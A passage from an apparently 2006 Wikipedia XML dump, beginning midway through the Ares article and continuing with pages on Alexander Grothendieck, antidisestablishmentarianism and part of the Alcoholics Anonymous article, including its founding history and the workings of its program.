In an episode sung in the hall of [[Alcinous]] (Alkínoös), king of the [[Phaeacians]] (''Odyssey'' viii.302ff), Ares lay in bed with [[Aphrodite]], wife of [[Hephaestus]], and [[Helios]] the Sun spied the love-making couple, alerting Hephaestus, who was angered. Hephaestus rigged the bed with invisibly fine net of chain with the power to hold anything in place, including gods, and caught Ares and Aphrodite on the next occasion. He brought the other gods to witness the adultery&amp;mdash;the goddesses stayed away out of modesty&amp;mdash;thinking to humiliate Ares and Aphrodite, but the gods all laughed. Poseidon agreed to refund to cuckolded Hephaestus the bride-price of Aphrodite. Once the couple were loosed, Ares sped away to his homeland, Thrace. (In a much later interpolated detail, Ares put a youth Alectryon by his door to guard them, but Alectryon fell asleep. Ares turned Alectryon into a [[rooster]], which never forgets to announce the arrival of the sun in the [[morning]].)

In the [[Trojan War]], Ares had no fixed allegiances nor respect for [[Themis]], the right ordering of things: he promised Athena and Hera that he would fight on the side of the Achaeans, but Aphrodite was able to persuade Ares to side with the Trojans. During the war, [[Diomedes]] fought with [[Hector]] and saw Ares fighting on the Trojans' side. Diomedes called for his soldiers to fall back slowly. Hera, Ares's mother, saw his interference and asked Zeus, his father, for permission to drive Ares away from the battlefield. Hera encouraged Diomedes to attack Ares, so he threw a spear at Ares. Athena then drove the spear into Ares's body, who bellowed in pain and fled to Mt. Olympus, forcing the Trojans to fall back.

In post-Renaissance [[emblem]] books, Ares' symbols are a spear and a helmet, his animal the dog and his bird the vulture. In myth and poetry Ares appears as cruel, aggressive, and blood-thirsty. He is notorious among both gods and humans.

==Consorts/Children==
&lt;!--this mishmash list is drawn from every kind of source: can it be made valuable?--&gt;
# [[Aglaulus]]
## [[Alcippe]]
# [[Aphrodite]]
## [[Anteros]]
## [[Deimos (god)|Deimos]] (Dread)
## [[Eros (god)|Eros]] (Love)
## [[Harmonia (Greek_goddess)|Harmonia]]
## [[Himerus]]
## [[Phobos (god)|Phobos]] (Fright)
# [[Astyoche]]
## [[Ascalaphus]]
# [[Atalanta]]
## [[Parthenopeus]]
# [[Chryse]]
## [[Phlegyas]]
# [[Cyrene (mythology)|Cyrene]]
## [[Diomedes]]
# [[Otrera]]
## [[Hippolyte]]
## [[Penthesilea]]
# [[Rhea Silvia]]
## [[Remus]]
## [[Romulus and Remus|Romulus]]
# [[Sterope]]
## [[Oenomaus]]
# [[Pyrene (mythology)|Pyrene]]
## [[Cycnus]]
# Unknown mother
## [[Antiope (mythology)|Antiope]]
## [[Biston]]
## [[Enyo]]
## [[Eurytion]]
## [[Tereus]]
# Unknown woman
## [[Antiope (mythology)|Antiope]]
## [[Hippolyte]]
## [[Melanippe]]

==Ares in Neopaganism==

Many modern [[Neopaganism|Neopagans]] maintain a somewhat traditional view of Ares. ''Hellenistic'' sects in the [[United States]], discourage worship of Ares altogether. Some sects even forbid Ares worship. Many modern neopagans believe that ancient civilizations believed much the same, but worshipped Ares out of necessity rather than out of devotion. However, many other Neopagans do worship Ares, believing him to be a god who bestows courage, strength and determination in times of hardship and difficulty.

==Cultural References==

* In [[DC Comics]], Ares is a prominent antagonist of [[Wonder Woman]].
* In the Playstation 2 video game [[God of War]], Ares is the main antagonist, attempts to destroy [[Athens]] and is partially responsible for development of the in-game character of Kratos.
*In [[Marvel Comics]], Ares is a Greek God who features in his own [[2006]] miniseries.
* Ares is referenced in a song by the French neoclassical band [[Elend]] called ''Ares In Their Eyes''.

==See also==
* [[Mars (mythology)|Mars]]
* [[Nergal]]
* [[Tyr]]

==External links==
*[http://www.angelfire.com/empire/martiana/ares/index.html Ares in Greek Religion]

*[http://www.neokoroi.org/ares.htm Neokoroi]

==References==
*[[Walter Burkert|Burkert, Walter]], 1985. ''Greek Religion'' (Cambridge: Harvard University Press)
*[[Karl Kerenyi|Kerenyi, Carl]], 1951. ''Gods of the Greeks'' (London:Thames &amp; Hudson)

[[Category:Greek gods]][[Category:War gods]]

[[bg:Арес]]
[[ca:Ares]]
[[cs:Arés]]
[[da:Ares]]
[[de:Ares]]
[[el:Άρης (μυθολογία)]]
[[es:Ares]]
[[eo:Areso]]
[[fr:Arès]]
[[gl:Ares (deus)]]
[[ko:아레스]]
[[hr:Ares]]
[[is:Ares]]
[[it:Ares]]
[[he:ארס (מיתולוגיה)]]
[[lt:Arėjas]]
[[lv:Arejs]]
[[hu:Árész]]
[[nl:Ares]]
[[ja:アレス]]
[[la:Mars]]
[[no:Ares]]
[[pl:Ares]]
[[pt:Ares]]
[[ro:Ares]]
[[ru:Арес]]
[[sl:Ares]]
[[sr:Ареј]]
[[sv:Ares]]
[[uk:Арес]]
[[tr:Ares]]
[[zh:阿瑞斯]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Grothendieck</title>
    <id>2042</id>
    <revision>
      <id>41084768</id>
      <timestamp>2006-02-24T23:23:22Z</timestamp>
      <contributor>
        <ip>195.23.163.185</ip>
      </contributor>
      <comment>cl</comment>
      <text xml:space="preserve">'''Alexander Grothendieck''' ([[Berlin]], [[March 28]], [[1928]]) is one of the most important [[mathematician]]s of the [[20th century]]. He is also one of its most extreme scientific personalities, with achievements over a short span of years that are still scarcely credible in their broad scope and sheer bulk, and an approach that antagonised even close followers. He made major contributions to [[algebraic geometry]], [[homological algebra]], and [[functional analysis]]. He was awarded the [[Fields Medal]] in [[1966]], and co-awarded the [[Crafoord Prize]] with [[Pierre Deligne]] in [[1988]]. He declined the latter prize, on ethical grounds.

He is noted for his mastery of abstract approaches to mathematics, and his perfectionism in matters of formulation and presentation. Relatively little of his work after 1960 was published by the conventional route of the [[learned journal]], circulating initially in duplicated volumes of seminar notes; his influence was to a considerable extent personal, on French mathematics and the [[Zariski]] school at [[Harvard University]]. He is the subject of many stories and some misleading rumors, concerning his work habits and politics, confrontations with other mathematicians and the French authorities, his withdrawal from mathematics at age 42, his retirement and his subsequent lengthy writings.

== Mathematical achievements ==

Homological methods and [[sheaf (mathematics)|sheaf]] theory had already been introduced in algebraic geometry by [[Jean-Pierre Serre]], after sheaves had been invented by [[Kiyoshi Oka]] and [[Jean Leray]]. Grothendieck took them to a higher level, changing the tools and the level of abstraction. 

Amongst his insights, he shifted attention from the study of individual varieties to the ''[[Grothendieck's relative point of view|relative point of view]]'' (pairs of varieties related by a [[morphism]]), allowing a broad generalization of many classical theorems. This he applied first to the [[Riemann-Roch theorem]], around [[1956]], which had already recently been generalized to any dimension by [[Friedrich Hirzebruch|Hirzebruch]]. The [[Grothendieck-Riemann-Roch theorem]] was announced by Grothendieck at the initial [[Arbeitstagung]] in [[Bonn]], in 1957. It appeared in print in a paper written by [[Armand Borel]] with Serre. 

His foundational work on [[algebraic geometry]] is at a higher level of abstraction than all prior versions. He adapted the use of non-closed [[generic point]]s, which led to the theory of [[scheme (mathematics)|schemes]]. He also pioneered the systematic use of [[nilpotent]]s. As 'functions' these can take only the value 0, but they carry infinitesimal information, in purely algebraic settings. His ''theory of schemes'' has become established as the best universal foundation for this major field, because of its great expressive power as well as technical depth. In that setting one can use [[birational geometry]], techniques from [[number theory]], [[Galois theory]] and [[commutative algebra]], and close analogues of the methods of [[algebraic topology]], all in an integrated way. 

Its influence spilled over into many other branches of mathematics, for example the contemporary theory of [[D-module]]s. (It also provoked adverse reactions, with many mathematicians seeking out more concrete areas and problems. Grothendieck is one of the few mathematicians who matches the French concept of [[maître à penser]]; some go further and call him [[maître-penseur]].)  

The bulk of Grothendieck's published work is collected in the monumental, and yet incomplete, ''[[Éléments de géométrie algébrique]]'' (EGA) and ''[[Séminaire de géométrie algébrique]]'' (SGA).  Perhaps Grothendieck's deepest single accomplishment is the invention of the [[étale cohomology|étale]] and l-adic cohomology theories, which explain an observation of [[André Weil]]'s, that there is a deep connection between the topological characteristics of a variety and its diophantine (number theoretic) properties. For example, the number of solutions of an equation over a [[finite field]] reflects the topological nature of its solutions over the [[complex number]]s. Weil realized that to prove such a connection one needed a new cohomology theory, but neither he nor any other expert saw how to do this until such a theory was found by Grothendieck. This program culminated in the proofs of the [[Weil conjecture]]s by Grothendieck's student [[Pierre Deligne]] in the early 1970s after Grothendieck had largely withdrawn from mathematics.

=== Major mathematical topics (from [[Récoltes et Semailles]]) ===

He wrote a retrospective assessment of his mathematical work (see the external link ''La Vision'' below). As his main mathematical achievements (&quot;maître-thèmes&quot;), he chose this collection of 12 topics (his chronological order):

#[[Topological tensor product]]s and [[nuclear space]]s
#&quot;Continual&quot; and &quot;discrete&quot; [[duality]] ([[derived category|derived categories]] and &quot;[[six operations (mathematics)|six operations]]&quot;). 
#''Yoga'' of the [[Grothendieck-Riemann-Roch theorem]] ([[K-theory]], relation with [[intersection theory]]). 
#[[Scheme (mathematics)|Scheme]]s. 
#[[topos|Toposes]]. 
#[[Étale cohomology]] including [[l-adic cohomology]]. 
#[[Motive (mathematics)|Motive]]s and the [[motivic Galois group]] (and [[Grothendieck category|Grothendieck categories]])
#[[Crystal (mathematics)|Crystal]]s and [[crystalline cohomology]], ''yoga'' of De Rham and Hodge coefficients.
#[[Topological algebra]], infinity-stacks, 'dérivateurs', cohomological formalism of toposes as an inspiration for a new [[homotopic algebra]]
#[[Tame topology]].
#''Yoga'' of [[anabelian geometry]] and [[Galois-Teichmüller theory]]. 
#Schematic point of view, or &quot;arithmetics&quot; for [[regular polyhedron|regular polyhedra]] and [[regular configurations]] of all sorts.

He wrote that the central theme of the topics above is that of [[topos]] theory, while the first and last were of the least importance to him.

Here the usage of ''yoga'' means a kind of 'meta-theory' that can be used heuristically. The word ''yoke'', meaning a linkage, is derived from the same Indo-European root.

== Life ==
=== Childhood and studies ===

Born to a Russian Jewish father and German Protestant mother in [[Berlin]], he was a [[displaced person]] during much of his childhood due to the upheavals of [[World War II]]. Alexander lived with his father, Alexander Shapiro, and his mother, Hanka Grothendieck, both of whom were [[socialism|socialist]] [[revolutionary|revolutionaries]].  Until [[1933]] they lived together in [[Berlin]].  At the end of that year, Shapiro moved to [[Paris]], and Hanka followed him the next year. They left Alexander with a family in [[Hamburg]] where he went to school. During this time, his parents fought in the [[Spanish Civil War]]. In [[1939]] Alexander came to France and lived in various camps for displaced persons with his mother. His father was sent to [[Auschwitz concentration camp|Auschwitz]] where he died in [[1942]]. After the war, young Grothendieck studied mathematics in [[France]], initially at [[Montpellier]].  He had decided to become a math teacher because he had been told that mathematical research had been completed early in the [[20th century]] and there were no more open problems.  However, his talent was noticed, and he was encouraged to go to [[Paris]] in [[1948]].  Initially, Grothendieck attended Élie Cartan's Seminar at [[École Normale Superieure]] , but lacking the neccessary background to follow the high powered seminar, he moved to University of Nancy where he wrote his dissertation under [[Laurent Schwartz]] in functional analysis, from [[1950]]. At this time he was a leading expert in the theory of [[topological vector space]]s. However he set this subject aside by [[1957]] in order to work in algebraic geometry and [[homological algebra]].

=== Politics and retreat from scientific community ===

Grothendieck's radical left-wing and pacifist politics were doubtless born by his family history and his wartime experiences. He gave lectures on [[category theory]] in the forests surrounding [[Hanoi]] while the city was being bombed, to protest against the [[Vietnam war]]. He retired from scientific life around [[1970]], after having discovered the partly military funding of [[IHES]] (see pp. xii and xiii of SGA1, Springer Lecture Notes 224). He returned to academia a few years later as a professor at the University of [[Montpellier]], where he stayed until
his retirement in 1988. His criticisms of the scientific community are also contained in a [http://www.math.columbia.edu/~lipyan/CrafoordPrize.pdf letter] written in 1988, in which he states the reasons for his refusal of the [[Crafoord Prize]].

=== Manuscripts written in the 1980s ===

While not publishing mathematical research in conventional ways during the 1980s, he produced several influential manuscripts with limited distribution, with both mathematical and biographical content. 

''[[La longue marche à travers la theorie de Galois]]'' (roughly ''The Long Walk Through Galois Theory'') is an approximately 1600-page handwritten manuscript produced by Grothendieck during the years 1980-1981 and contains many of the ideas leading to the ''[[Esquisse d'un Programme]]'' (see below) and in particular studies the Teichmüller theory.

In 1983 he wrote a huge extended manuscript (about 600 pages) titled ''[[Pursuing Stacks]]'', starting with a letter addressed to [[Daniel Quillen]]. This letter and successive  parts were distributed from Bangor (see External Links below): in an informal manner, as a kind of diary, Grothendieck  explained and developed his ideas on the relationship between [[algebraic homotopy theory]] and [[algebraic geometry]] and prospects for a noncommutative theory of [[Stack (category theory)|stacks]].  The manuscript, which is being edited for publication by G. Maltsiniotis, later led to another of his monumental works ''[[Les Dérivateurs]]''.  Written in 1991 this latter opus of about 2000 pages further developed the homotopical ideas begun in ''[[Pursuing Stacks]]''.  Much of this work anticipated the subsequent development of the motivic homotopy theory of [[F. Morel]] and [[V. Voevodsky]] in the mid 1990s.

His ''[[Esquisse d'un programme]]'' ([[1984]]) is a proposal for a position at the [[Centre National de la Recherche Scientifique]], which he held from 1984 to his retirement in 1988. Ideas from it have proved influential, and have been developed by others, in particular in a new field emerging as [[anabelian geometry]]. In ''[[La Clef des Songes]]'' he explains how the reality of [[dream]]s convinced him of [[God]]'s existence.

The 2000-page autobiographical manuscript ''[[Récoltes et Semailles]]'' (1986) is now partly available on the internet in the French original, and an English translation is underway (these parts of Récoltes et Semailles are already [http://imperium.lenin.ru/%7Everbit/Grothendieck/Grothendieck.html translated to Russian] and published in Moscow).

=== Disappearance ===

In 1991, he left his home and disappeared. He is said to now live in the South
of France and to entertain no visitors. Various false rumors have him living in [[Ardèche]], herding goats and entertaining radical ecological theories. Though he has been inactive in mathematics for many years, he remains one of the greatest and most influential mathematicians of modern times.

==See also==

*[[Grothendieck's Galois theory]]
*[[Grothendieck group ]]
*[[Grothendieck's relative point of view]]
*[[Grothendieck-Riemann-Roch theorem ]]
*[[Grothendieck's Séminaire de géométrie algébrique ]]
*[[Grothendieck topology ]]
*[[Grothendieck universe ]]

== External links ==

* {{MacTutor Biography|id=Grothendieck}}
* {{MathGenealogy|id=31245}}
*[http://www.math.jussieu.fr/~leila/grothendieckcircle/index.php Grothendieck Circle], collection of mathematical and biographical information, photos, links to his writings
**[http://gavrilov.akatov.com/Grothendieck Grothendieck Circle discussion Forum]
*[http://www.ihes.fr Institut des Hautes Études Scientifiques]
* Grothendieck biography ([http://www.ams.org/notices/200409/fea-grothendieck-part1.pdf Part 1], [http://www.ams.org/notices/200410/fea-grothendieck-part2.pdf Part 2]) published in AMS Notices
*[http://www.bangor.ac.uk/r.brown/pstacks.htm The origins of `Pursuing Stacks'] This is an account of how `Pursuing Stacks' was written in response to a correspondence in English with Ronnie Brown and Tim Porter at Bangor, which continued until 1991. 

{{Fields medalists}}

[[Category:1928 births|Grothendieck, Alexander]]
[[Category:Living people|Grothendieck, Alexander]]
[[Category:20th century mathematicians|Grothendieck, Alexander]]
[[Category:German mathematicians|Grothendieck, Alexander]]
[[Category:French mathematicians|Grothendieck, Alexander]]
[[Category:Bourbaki|Grothendieck]]

[[de:Alexander Grothendieck]]
[[es:Alexander Grothendieck]]
[[fr:Alexander Grothendieck]]
[[ko:알렉산더 그로텐디크]]
[[it:Alexander Grothendieck]]
[[nl:Alexander Grothendieck]]
[[ja:アレクサンドル・グロタンディーク]]
[[zh:亚历山大·格罗滕迪克]]</text>
    </revision>
  </page>
  <page>
    <title>Hostility towards America</title>
    <id>2043</id>
    <revision>
      <id>22297923</id>
      <timestamp>2005-09-01T02:37:23Z</timestamp>
      <contributor>
        <username>Dragons flight</username>
        <id>16980</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Anti-Americanism]]</text>
    </revision>
  </page>
  <page>
    <title>Antidisestablishmentarianism</title>
    <id>2045</id>
    <revision>
      <id>41728027</id>
      <timestamp>2006-03-01T09:19:24Z</timestamp>
      <contributor>
        <ip>24.58.241.94</ip>
      </contributor>
      <comment>/* Longer words */</comment>
      <text xml:space="preserve">'''Antidisestablishmentarianism''' originated in the context of the [[nineteenth century]] [[Church of England]], where &quot;antidisestablishmentarians&quot; were opposed to proposals to remove the Church's status as the [[State religion|state church]] of [[England]]. The movement succeeded in England, but failed in [[Ireland]] and [[Wales]], with the [[Church of Ireland]] being disestablished in [[1871]] and the [[Church in Wales]] in [[1920]].  Antidisestablishmentarian members of the [[Free_Church_of_Scotland_%281843-1900%29#Unions_and_relationships_with_other_Presbyterians|Free Church of Scotland]] delayed merger with the [[United Presbyterian Church of Scotland]] in a dispute about the position of the [[Church of Scotland]]. The term has largely fallen into disuse, although the issue itself is still current (see [[Act of Settlement 1701]]).

The word ''antidisestablishmentarianism'', with 28 letters, is often quoted as being one of the [[Longest word in the English language|longest English words]] that has an actual meaning (as opposed to words that were made up for the purpose of being long). In fact, its claim is quite good, since ''antidisestablishmentarianism'' is used seriously in academic and ecclesiasticalist writing
about the Church of England when the concept arises, which it does occasionally (See
e.g. Hastings and &quot;Some notes on the Church of England and Establishment&quot;, below). However, since [[1992]] it has lost this title to [[floccinaucinihilipilification]] in the [[Guinness Book of Records]]. It might still be the longest word not invented for the specific purpose of being a long word, however, because the word floccinaucinihilipilification was invented as a joke and is an amalgamation of four different Latin words. Presumably it was made, at least partly, to make fun of long words.

==In fiction==
In the ''[[Honeymooners]]'' episode, ''[[The $99,000 Answer]]'', Alice asks Ralph to spell this word. Ralph says he'll spell if she gives him $16,000 for spelling. She tells him she'll give him twice the amount if he can say it{{fact}}.

==Longer words==
*[[Hippopotomonstrosesquippedaliophobia]]
*[[Floccinaucinihilipilification]]
*[[Supercalifragilisticexpialidocious]]
*[[Pneumonoultramicroscopicsilicovolcanoconiosis]]

==See also==
*[[Christian anarchism]]
*[[Disestablishmentarianism]]
*[[Religion in the United Kingdom]]
*[[Welsh Church Act 1914]]

[[Category:Political theories]]
[[Category:Anglicanism]]
[[Category:Long words]]
[[Category:Religion and politics]]

==References==
*Adrian Hastings, &lt;i&gt;Church and state : the English experience&lt;/i&gt; (Exeter : University of Exeter Press, 1991.)
*[http://www.thuto.org/ubh/whist/chhist/ce-est1.htm &quot;Some notes on the Church of England and Establishment&quot;; University of Botswana History Department site]
*[http://www.etymonline.com/index.php?term=antidisestablishmentarianism antidisestablishmentarianism in the Online Etymology Dictionary]

[[nl:Antidisestablishmentarianisme]]</text>
    </revision>
  </page>
  <page>
    <title>Alcoholics Anonymous</title>
    <id>2047</id>
    <revision>
      <id>42146143</id>
      <timestamp>2006-03-04T03:05:52Z</timestamp>
      <contributor>
        <username>Samlhall</username>
        <id>1026418</id>
      </contributor>
      <minor />
      <comment>A slightly different perspective: the original phrase &quot;groups that protect the anonymity of members&quot; implies groups are organized to actively do that; rather anonymity is more an essential principal</comment>
      <text xml:space="preserve">'''Alcoholics Anonymous''' (known commonly as &quot;'''A.A.'''&quot; or &quot;'''AA'''&quot;) is a world-wide fellowship of [[alcoholism|alcoholic]]s whose stated primary purpose is to stay sober and to carry the message of recovery from alcoholism through the Twelve Steps.  A.A. is the original [[twelve-step program]] and has been the source and model for all subsequent and separate ones, such as [[Gamblers Anonymous]], [[Narcotics Anonymous]],  [[Sexaholics Anonymous]], [[Overeaters Anonymous]], and [[Al-Anon/Alateen]].

An earlier group for alcoholics, known as the [[Washingtonian movement|Washingtonians]], fell apart when it tried to branch out to different goals, which A.A. has tried to avoid.

Many have claimed A.A. to be the most successful treatment for alcoholism ever devised.  Though some take issue with this claim - and A.A. itself makes no such formal claim - the opinion is widely accepted because no other program has attained the same level of prominence.  Dissenters have argued that there are no controlled double blind scientific studies to back the claims and that reputable scientific research casts doubts on the effectiveness of [[12 step treatment | such programs]][http://www.unhooked.com/booktalk/hester_miller_handbook.html].  One factor that complicates research into AA effectiveness is the difficulty of gathering statistical information on a membership that stresses anonymity as an essential characteristic of the fellowship.

A.A. literature describes a difference between an &quot;alcoholic&quot; and a &quot;hard drinker,&quot; claiming that unlike a hard drinker, who may drink enough alcohol to cause gradual physical and mental impairment but nevertheless retains the ability to stop or moderate his or her drinking, given sufficiently strong reasons (Alcoholics Anonymous, p. 20-21)), an alcoholic has a disease which renders him/her bodily and mentally different from others. A.A. considers alcoholism to be a diagnosis which can only be made by oneself, and has no opinion on abstinence for others.
There also exist a number of purely secular non-12 step programs which promote abstinence as a recovery goal, as well as programs which promote a goal of moderation for &quot;problem drinkers&quot; as opposed to &quot;alcoholics.&quot;  A listing can be found in the external links section of this article. None has achieved the same wide-spread use and recognition as AA, and none is without its own controversies.

Some people object to [[teetotalism|abstinence]] as a goal, preferring other programs which aim for moderation. [http://www.habitsmart.com/cntrldnk.html] Others  advocate [[harm reduction]] as the most effective step towards addressing the immediate social problems caused by abuse of alcohol and other drugs. 

==History and development==
A.A. was started by two alcoholics who first met on [[May 12]], [[1935]]. One was [[William Griffith Wilson|Bill Wilson]] (William Griffith Wilson), a New York stockbroker; the other was Dr. [[Bob Smith (doctor)|Bob Smith]] (Robert Holbrook Smith), a medical doctor and surgeon from [[Akron, Ohio]].  In A.A. circles, the former is known as &quot;Bill W.&quot; and the latter, &quot;Dr. Bob.&quot;

[[Image:BILLNBOB.JPG|thumb|none|left|Dr Bob Smith (left) and Bill Wilson (right), the co-founders of A.A.]]

Wilson had been sober since December 11th, 1934 (six months) when he met Smith, although he had struggled with sobriety for years. In that time he had made several important discoveries about his own alcoholism. 

Firstly he had learned from a New York alcoholism specialist, Dr. [[William Duncan Silkworth]], that alcoholism was not simply a moral weakness. Silkworth told Wilson, during one of Wilson's admissions to his drying-out clinic, that alcoholism had a pathological disease-like character. He told Wilson that, in his view, alcoholism was akin to an allergy, in the sense that it produced abnormal reactions to alcohol that were not observed in non-alcoholic drinkers; he called these reactions a &quot;phenomenon of craving&quot; -- once started drinking, the alcoholic finds it very difficult to stop.  In addition, Dr. Silkworth told Wilson that alcoholics had a mental obsession that gave them reasons to return to alcohol after periods of sobriety, even knowing that they would then develop overwhelming cravings.  This &quot;double whammy&quot; (as he called it) meant that the alcoholic could not stop once started, and could not stop from starting again. This explained the enormous recidivism rate of alcoholics.

Wilson also discovered that some alcoholics were able to recover on a [[Spirituality|spiritual]] basis. This approach had been used by one of Wilson's old drinking buddies, Ebby Thacher, to get sober. Thacher had learned about the spiritual approach from Rowland H., an American business executive and alcoholic who had undergone treatment with the famous Swiss analytical psychologist Dr. [[Carl Jung]]. After a prolonged and unsuccessful period of therapy, Jung told Rowland that his case, like that of most alcoholics, was nigh on hopeless. Rowland was horrified and begged Jung to tell him anything that might help. Jung replied there was only one hope: a genuine spiritual conversion experience. History, he said, had recorded isolated examples of recovery from alcoholism that appeared solely attributable to the spiritual conversion of the alcoholic. He told Rowland to seek out a conversion experience.

Rowland H. returned to America and found a means to a [[spiritual awakening]] through the [[Oxford Group]], a self-styled first-Century Christian movement that advocated finding god through moral inventory, confession of defects, restitution, reliance upon god, and helping others.  It appeared that a spiritual awakening would relieve alcoholics of the mental obsession that kept sending them back to alcoholism after periods of sobriety.  Note that Wilson later (''Alcoholics Anonymous comes of age'', New York: Harper; 1957, p. 39) credited A.A.'s ideas of self examination, acknowledgement of character defects, restitution for harm done, and working with others, to the religious influence of Rev. Samuel Moor Shoemaker and the Oxford Group Movement. 

Following one of Wilson's relapses, he returned to the hospital where he was sedated and detoxified. He prayed in bed during his recovery: &quot;If there be a God, will He show himself! The result was instant, electric, beyond description. The place seemed to light up, blinding white. I knew only ecstasy and seemed on a mountain. A great wind blew, enveloping and penetrating me. To me, it was not of air, but of Spirit. Blazing, there came the tremendous thought. 'You are a free man.' Then the ecstasy subsided. I now found myself in a new world of consciousness which was suffused by a Presence. One with the universe, a great peace stole over me&quot; (Three talks to medical societies by Bill W., co-founder of Alcoholics Anonymous. New York; Alcoholics Anonymous World Services; 1973, p.10).

Wilson questioned whether he had a genuine [[religious experience]] (see also [[peak experiences]])or was on the verge of madness. Dr. Silkworth advised him that &quot;hopeless alcoholics&quot; sometimes report conversion experiences before being &quot;turned around&quot; toward recovery.  He referred Wilson to [[William James]]' ''[http://www.gutenberg.org/etext/621 Varieties of Religious Experience]'' and directed him to Lectures IX and X, dealing with conversion.  James states in the first paragraph of Lecture IX,  &quot;To be converted, to be regenerated, to receive grace, to experience religion, to gain an assurance, are so many phrases which denote the process, gradual or sudden, by which a self hitherto divided, and consciously wrong, inferior and unhappy, becomes unified and consciously right, superior and happy, in consequence of its firmer hold upon religious realities.  This at least is what conversion signifies in general terms, whether or not we believe that a direct divine operation is needed to bring such a moral change about.&quot; Lecture VIII, &quot;The Divided Self&quot; also refers to the condition before conversion.  In ''When A.A. Came of Age'', Wilson states that Dr. Silkworth &quot;reminded me of Professor William James's observation that truly transforming spiritual experiences are nearly always founded on calamity and collapse.&quot;

James' Lectures IX and X discussed the conversion of &quot;Mr. S. H. Hadley, who after his conversion became an active and useful rescuer of
drunkards in New York.&quot; His footnote 104 states &quot;I have abridged Mr. Hadley's account.  For other conversions of drunkards, see his pamphlet, Rescue Mission Work, published at the Old Jerry McAuley Water Street Mission, New York City.  A striking collection of cases also appears in the appendix to Professor Leuba's article.&quot;

William James cited the works of James H. Leuba and Edwin D. Starbuck frequently. Leuba quoted sections of ''Autobiography'' by John B. Gough, who describes his depression as an alcoholic.  Leuba also points out that self-surrender is necessary for conversion. He quotes S. H. Hadley and comments &quot;In this record the approach towards complete surrender can be followed step by step. He has laid aside pride enough to respond to the invitation and thereby confess publicly his inability to cease drinking. Old crimes, and that which the settlement of them will require of him, pass before his mind; for a moment he hesitates to accept the attitude towards them which submission to God would demand. His humble prayer for succor, and its effect, indicate that all the resistance of which he is conscious had given away, and that, as he called upon Christ, he threw himself unreservedly at his feet.&quot;

Starbuck describes conversion following what A.A. came to refer to as &quot;hitting rock bottom.&quot; When &quot;the divine urging has become imperative and irresistible. Here is the critical point, the tragic moment. The subject resorts to evasion of good influences, pointing out the perfection of the present self, the imperfection of others, and anything to preserve the old self intact. It is more often a distress, a deep undefinable feeling of reluctance, which is perhaps a complex of all surface considerations which a thorough break in habits and associations would involve. He continues until complete exhaustion takes away the power of striving; he becomes nothing; his will is broken; he surrenders himself to the higher forces that are trying to claim him; he accepts the higher life as his own.&quot;

Most importantly, Wilson found that his own sobriety seemed to grow stronger when he shared his personal alcoholic experience with other alcoholics.   Wilson was on the verge of a relapse on a business trip to Akron.  In a hotel lobby, he decided to phone local ministers and ask if they knew of alcoholics he could talk to.  Thus he was introduced to Smith.  Had it not been for Wilson's decision to reach out to a fellow sufferer, AA would not exist today.

These were the ideas that he presented to Smith, who had been struggling with his own chronic drinking addiction. The two struck up a solid friendship and together they put Wilson's discoveries into practice. Smith's last drink is said to have been [[June 10]], [[1935]], and that is considered within A.A. to be the date of the founding of A.A. Their first publication in 1939, ''Alcoholics Anonymous'', the first 164 pages of which have remained virtually unchanged since then, has been a perennial best-seller.  The fellowship began to be called &quot;Alcoholics Anonymous&quot; after the publication of this book.  Given this start, it is no surprise that A.A. groups and members are frequently called &quot;Friends of Bill W.&quot;

The [[AA Grapevine]] is the international journal of Alcoholics Anonymous. It is written, edited, illustrated, and read by A.A. members and others interested in the A.A. program of recovery from the disease of alcoholism.

The growth of A.A., especially in its early years, was striking. In 2002, the General Service Office of Alcoholics Anonymous reported more than 100,000 A.A. groups in 150 countries, with a total membership of approximately two million alcoholics.

==How the A.A. program works==
Although some believe that A.A's success lies in the sense of support its members gain from attending regular meetings, many members, as well as A.A's literature, hold that the essence of the program is the Twelve Steps. The Steps incorporate Dr. Silkworth's description of the two-fold problem of physical allergy and mental obsession in Step One, Dr. Jung's description of the spiritual solution in Step Two, the Oxford Groups' method of reaching a spiritual awakening in Steps Three through Eleven, and Wilson's experience in helping others in Step Twelve.  The process of working the Steps is sometimes summed up as &quot;Trust god, clean house, and help others.&quot;  (See [[twelve-step program]] for a list of the steps themselves.)

A.A. members are encouraged to &quot;work the Steps&quot;, usually with the guidance of a voluntary sponsor. (A sponsor is a more experienced member who has worked the Steps before, usually of the same sex as the sponsee, and freely chosen - and just as freely &quot;fired&quot;- by the sponsee.) The Steps are designed to help the alcoholic achieve a spiritual, emotional and mental state conducive to lasting sobriety. There are many long-term A.A. members who claim that working the Steps has freed them entirely from the urge to drink alcohol. Whereas staying sober was once difficult and uncertain, these members report that sobriety is now much easier, provided they keep working the A.A. program.

Most members regard attendance at A.A. meetings as important to their sobriety (although there are groups in A.A. made up of loners and members living in remote locations who communicate by mail and internet). Even members with decades of continuous sobriety still go to meetings regularly. There is no compulsion or requirement to attend. Members may attend as few or as many meetings as they wish, as frequently or infrequently as they like.  However, new members are encouraged to go to 90 meetings in 90 days, and a sponsor may set his or her own expectations for a sponsee's attendance. No official membership or attendance records are kept at any level in A.A. However there are annually published estimates which are available through AAs headquarters in New York City, known as &quot;GSO&quot; (General Service Office).

With the above in mind, a typical individual program of recovery for a newcomer may include:
*  Above all, avoiding the first drink.
*  Attendance at one or more meetings daily for 90 days or longer.  Some people coming into A.A. have attended meetings daily for the first year. (Note: nowhere in A.A. literature is there a reference to frequent attendance at A.A. meetings. Many A.A.s believe this notion started in the treatment center industry; graduating patients were advised to attend many A.A. meetings, presumably in an effort to acquire a new peer group of abstinent friends to reinforce the effects of treatment.  Regardless of source, this recommendation is consistent with a suggestion commonly heard in A.A. that one in recovery should &quot;change playgrounds and playmates.&quot;)
*  Contact with one's sponsor daily in order to work the steps and to discuss whatever problems one may be having in one's life, problems which may, if not addressed, lead the alcoholic to take the first drink:  &quot;One [drink] is too many and one thousand [drinks] never enough.&quot;
*  Daily prayer and/or meditation, as suggested by Step 11: &quot;Sought through prayer and meditation to improve our conscious contact with god ''as we understood him,'' praying only for knowledge of his will for us and the power to carry that out.&quot;
*  Daily attention to Step 10:  &quot;Continued to take personal inventory and when we were wrong, promptly admitted it.&quot;
*  Service work, which, for the newcomer, can be as uncomplicated as making coffee at meetings, helping to set up and break down tables and chairs, etc.

It will be noted that the program is to be worked ''daily'' and done so ''one day at a time.''  Frequently heard at meetings:  &quot;I'm a winner today, no matter what happens, as long as I don't pick up that first drink.&quot;

